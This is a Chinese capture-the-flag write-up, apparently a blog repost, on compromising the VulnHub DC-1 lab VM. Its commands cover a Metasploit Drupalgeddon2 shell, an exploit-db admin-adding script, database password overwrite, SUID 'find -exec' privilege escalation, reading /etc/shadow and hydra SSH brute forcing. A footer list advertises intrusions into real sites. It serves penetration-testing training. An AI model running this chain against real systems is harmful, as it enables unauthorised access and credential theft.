vulnhub是个提供各种漏洞平台的综合靶场,可供下载多种虚拟机进行下载,本地VM打开即可,像做游戏一样去完成渗透测试、提权、漏洞利用、代码审计等等有趣的实战。
vulnhub也是OSCP证书刷题必备的靶场,所以其中实验攻击机用kali均可完成,毕竟是kali认证的证书嘛,其实做一套靶场的过程中就像在考OSCP一样。
网址 https://www.vulnhub.com/.
靶机DC-1下载地址:https://download.vulnhub.com/dc/DC-1.zip
涉及知识点:
1、信息搜集,nmap应用
2、msf攻击Drupal 7 cms
3、破解管理员密码
4、提权,find命令查找有特殊权限suid的命令
5、九头蛇hydra+John爆破密码
6、反弹
描述:靶机DC-1共有5个flag,并且需要root权限才可以找到并查看flag
环境:
Vmware 15 Pro虚拟机软件
DC-1靶机IP地址:192.168.220.130
Kali的IP地址:192.168.220.131
本次DC-1靶机渗透测试,靶机与kali都以NAT模式连接网络,查看kali的IP地址:
ip addr
使用nmap扫描工具,扫描192.168.220.0/24网段,发现存活主机,断定192.168.220.130是DC-1靶机的IP地址
nmap -sP 192.168.220.0/24 -oN nmap220.sP
nmap扫描靶机开放的端口号,扫描范围0-65535,发现开放22(ssh)、80(http)、111和57744共四个端口
nmap -A 192.168.220.130 -p- -oN nmap130.A
浏览器输入DC-1靶机IP地址访问网站:http://192.168.220.130
发现网站是用Drupal(CMS+PHP)搭建的,使用的是Drupal 7版本
使用msfconsole查找可以针对Drupal的模块
msf > search drupal #查找可用于Drupal的模块
尝试使用查询出来的模块,从一个开始尝试使用,发现只有三、五两个模块可以针对Drupal 使用,并能够成功反弹shell,其他模块皆失败
msf > use exploit/unix/webapp/drupal_drupalgeddon2
msf exploit(unix/webapp/drupal_drupalgeddon2) > set RHOST 192.168.220.130
msf exploit(unix/webapp/drupal_drupalgeddon2) > show options
msf exploit(unix/webapp/drupal_drupalgeddon2) > run
反弹shell后,使用ls命令可以查看在当前/var/www目录下存在flag1.txt
查看flag1.txt文本文件
cat flag1.txt
Flag1:
Every good CMS needs a config file - and so do you.
每一个好的CMS都需要一个配置文件-你也是。
查找后发现CMS的配置文件是网站根目录下的/site/defaultx下的setting.php文件
meterpreter > cd sites/default
meterpreter > cat settings.php
查看setting.php配置文件,发现flag2及网站数据库及登录用户名和密码,且flag2提示不要使用字典暴力破解密码,应使用其他方法,通过数据库应该是另外一种方法
Flag2:
Brute force and dictionary attacks aren't the only ways to gain access (and you WILL need access). What can you do with these credentials?
暴力和字典攻击并不是获得访问权限的唯一方法(而且您需要访问权限)。你能用这些证件做什么?
数据库信息:
'database' => 'drupaldb',
'username' => 'dbuser',
'password' => 'R0ck3t',
'host' => 'localhost',
使用mysql命令登录,发现MySQL命令无效
meterpreter > mysql -udbuser -pR0ck3t
输入shell,切换外壳,再次登录mysql发现终端不能正常回显信息
meterpreter > shell
mysql -udbuser -pR0ck3t
再次进入shell下,输入python命令,发现靶机已安装python 2.7.3,通过pty.spawn()获得交互式shell
meterpreter > shell
python -V
python -c 'import pty; pty.spawn("/bin/bash")'
使用上面找到mysql登录用户名和密码登录mysql数据库:
mysql -udbuser -pR0ck3t #登录MySQL数据库
mysql> show databases; #查看数据库
mysql> use drupaldb; #使用drupaldb数据库
mysql> show tables; #查看数据库内的表
找到users表,断定和用户密码有关
mysql> select * from users; #查看users表内容
name:admin pass:$S$DvQI6Y600iNeXRIeEMF94Y6FvN8nujJcEDTCP9nS5.i38jnEKuDR
找到可用于登录的用户admin和密码密文
方法一:
在exploitdb中有一个针对Drupal 7版本的攻击脚本,可以增加一个admin权限的用户账号,使用此方法简便了破解admin的密码,更直接
查看Drupal版本,确定Drupal版本为7.24
cat /var/www/includes/bootstrap.inc | grep VERSION
msf > searchsploit drupal #查找针对Drupal的攻击脚本
攻击脚本适用于7.31以下,所以适合7.24版本
利用drupal7.0版本漏洞增加有admin权限的用户:admin1/admin1
python /usr/share/exploitdb/exploits/php/webapps/34992.py -t http://192.168.220.130 -u admin1 -p admin1
查看users表,添加admin1成功
使用新添加的用户admin1/admin1登录网站,在content模块下,找到flag3
方法二:
使用Drupal对数据库的加密方法,加密脚本位置在网站根目录下的scripts下
使用加密脚本加密新密码123456,生成加密密文
./scripts/password-hash.sh 123456
password: 123456
hash: $S$DbpIRKV5QXrJK4Gbhb.LDFoTjqoYNKAOB.DY3V1BL.JMbMkZANhY
修改admin用户的密码,更新为新密码:123456
update drupaldb.users set pass="$S$DbpIRKV5QXrJK4Gbhb.LDFoTjqoYNKAOB.DY3V1BL.JMbMkZANhY" where uid=1;
使用用户admin/123456登录网站,在content模块下,找到flag3
Flag3:
Special PERMS will help FIND the passwd - but you'll need to -exec that command to work out how to get what's in the shadow.
Flag3提示词有perms、find、-exec、shadow共四个特殊提示词
应该要查看shadow文件,并使用find命令提权
使用find命令查找有特殊权限suid的命令
find / -perm -4000
使用find命令提权
find ./ aaa -exec '/bin/sh' ;
查看/etc/shadow 文件,发现flag4用户,并且flag4用户可以登录并且有密码,所以存在flag4的家目录
cat /etc/shadow
flag4用户密码可以使用ssh登录进行爆破,如下:
注:爆破flag4用户密码可以省略,可以在root提权后直接进入flag4家目录
wget http://www.openwall.com/john/j/john-1.8.0.tar.gz #下载John密码包
tar -xvf john-1.8.0.tar.gz #解压缩
cd john-1.8.0/ src #进入源码目录下
uname -a #查看当前系统版本
make linux-x86-64 #编译并指定当前的Linux系统版本
使用hydra+John密码包对flag4的密码进行爆破,爆破密码为:flag4/orange
hydra -l flag4 -P john-1.8.0/run/password.lst ssh://192.168.220.130 -f -vV -o hydraflag4.ssh
login: flag4 password: orange
使用flag4用户可以通过ssh登录系统
ssh [email protected]
密码:orange
进入flag4用户的家目录/home/flag4,找到flag4.txt文本文件,找到flag4
cd /home/flag4
cat flag4.txt
Flag4:
Can you use this same method to find or access the flag in root?
Probably. But perhaps it's not that easy. Or maybe it is?
你能用同样的方法来查找或访问根目录中的标志吗?
可能。但也许不是那么容易。或许是这样?
在flag4中提示在root根目录下存在,进入到root家目录/root下找到thefinalflag.txt文本文件
cd /root
cat thefinalflag.txt
thefinalflag:
Well done!!!!
Hopefully you've enjoyed this and learned some new skills.
You can let me know what you thought of this little journey
by contacting me via Twitter - @DCAU7
做得好!!!!!
希望你喜欢这个并学到了一些新的技能。
你可以让我知道你对这次小旅行的看法。
五个flag全部找到,并学习到使用msfconsole框架,及使用find命令找suid和提权
————————————————
引用参考
https://blog.csdn.net/weixin_43583637/article/details/101542749(作者:冠霖L)
推荐阅读:
▶【渗透实战系列】|32-FOFA寻找漏洞,绕过杀软拿下目标站
▶【渗透实战系列】|30-从SQL注入渗透内网(渗透的本质就是信息搜集)
▶【渗透实战系列】29|-实战|对某勒索APP的Getshell
▶【渗透实战系列】27|-对钓鱼诈骗网站的渗透测试(成功获取管理员真实IP)
▶【渗透实战系列】25|一次从 APP 逆向到 Getshell 的过程
▶【渗透实战系列】24|-针对CMS的SQL注入漏洞的代码审计思路和方法
▶【渗透实战系列】18-手动拿学校站点 得到上万人的信息(漏洞已提交)
▶【渗透实战系列】|17-巧用fofa对目标网站进行getshell
▶【渗透实战系列】|15-博彩网站(APP)渗透的常见切入点
▶【渗透实战系列】|12 -渗透实战, 被骗4000花呗背后的骗局
▶【渗透实战系列】|10 - 记某色X商城支付逻辑漏洞的白嫖(修改价格提交订单)
▶【渗透实战系列】|9-对境外网站开展的一次web渗透实战测试
▶【渗透实战系列】|8-记一次渗透测试从XSS到Getshell过程(详细到无语)
▶【渗透实战系列】|6- BC杀猪盘渗透一条龙(文末附【渗透实战系列】其他文章链接)
▶【渗透实战系列】|1一次对跨境赌博类APP的渗透实战(getshell并获得全部数据)
点分享
点收藏
点点赞
点在看
原文始发于微信公众号(Hacking黑白红):【Vulnhub靶机系列】|1-实战中如何运用msf攻击CMS、find命令提权、破解管理员密码
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论